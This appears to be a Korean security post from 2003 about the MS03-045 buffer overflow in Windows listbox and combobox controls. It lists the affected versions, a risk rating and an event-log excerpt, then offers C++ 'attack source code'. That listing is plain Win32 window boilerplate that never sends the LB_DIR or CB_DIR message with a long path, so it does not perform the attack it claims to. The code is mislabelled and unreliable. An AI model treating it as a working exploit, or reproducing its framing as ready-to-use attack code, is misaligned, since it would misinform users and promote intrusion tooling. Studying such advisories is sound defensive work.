윈도 새로운 버퍼오버플로우 공격코드 등장

공격용 소스코드 제목 :
윈도 리스트박스/콤보박스 버퍼오버플로우

발표날짜 :
2003.11.17

해당시스템 :
Windows NT 4.0 Workstation 
Windows 2000 Professional 
Windows XP 
Windows ME 
Windows NT 4.0 Server 
Windows 2000 Server 
Windows 2003

공격유형 :
로컬

위험도 :
상

문제점 :
http://www.microsoft.com/technet/security/bulletin/MS03-045.asp 에서 논의된바 있는 이 취약점은 리스트박스 LB_DIR message 나 콤보박스 CB_DIR message 
를 보낼때 발생하며 긴 경로명을 파라미터로 사용할때 다음과 같은 로그메세지를 생성하는 결과를 초래하여 결과적으로 버퍼오버플로우 취약점을 야기시킨다.

------------------------------------------------------------------------
Event Type: Error
Event Source: Service Control Manager
Event Category: None
Event ID: 7031
Description:
The [application] service terminated unexpectedly. 
------------------------------------------------------------------------
공격법 / 공격용 소스코드 :
// zzz.cpp : Defines the entry point for the application.
//

#include "stdafx.h"
#include <windows.h>


LRESULT CALLBACK WndProc(HWND hwnd , UINT msg , WPARAM wp , LPARAM lp) {
static HWND list;
static HWND rich;

switch (msg) {
case WM_DESTROY:
PostQuitMessage(0);
return 0;
case WM_CREATE:
list = CreateWindow(
TEXT("LISTBOX") , NULL , 
WS_CHILD | WS_VISIBLE | LBS_STANDARD , 
0 , 0 , 300 , 300 , hwnd , (HMENU)1 ,
((LPCREATESTRUCT)(lp))->hInstance , NULL
);
rich = CreateWindow("EDIT", // predefined class 
NULL, // no window title 
WS_CHILD | WS_VISIBLE | WS_VSCROLL | 
ES_LEFT | ES_MULTILINE | ES_AUTOVSCROLL, 
300, 300, 100, 100, // set size in WM_SIZE message 
hwnd, // parent window 
(HMENU) 1, // edit control ID 
(HINSTANCE) GetWindowLong(hwnd, GWL_HINSTANCE), 
NULL); 
return 0;
}
return DefWindowProc(hwnd , msg , wp , lp);
}

int WINAPI WinMain(HINSTANCE hInstance , HINSTANCE hPrevInstance ,
PSTR lpCmdLine , int nCmdShow ) {
HWND hwnd;
MSG msg;
WNDCLASS winc;


winc.style = CS_HREDRAW | CS_VREDRAW;
winc.lpfnWndProc = WndProc;
winc.cbClsExtra = winc.cbWndExtra = 0;
winc.hInstance = hInstance;
winc.hIcon = LoadIcon(NULL , IDI_APPLICATION);
winc.hCursor = LoadCursor(NULL , IDC_ARROW);
winc.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
winc.lpszMenuName = NULL;
winc.lpszClassName = TEXT("KITTY");

if (!RegisterClass(&winc)) return -1;

hwnd = CreateWindow(
TEXT("KITTY") , TEXT("Kitty on your lap") ,
WS_OVERLAPPEDWINDOW | WS_VISIBLE ,
CW_USEDEFAULT , CW_USEDEFAULT ,
CW_USEDEFAULT , CW_USEDEFAULT ,
NULL , NULL , hInstance , NULL
);

if (hwnd == NULL) return -1;

while(GetMessage(&msg , NULL , 0 , 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}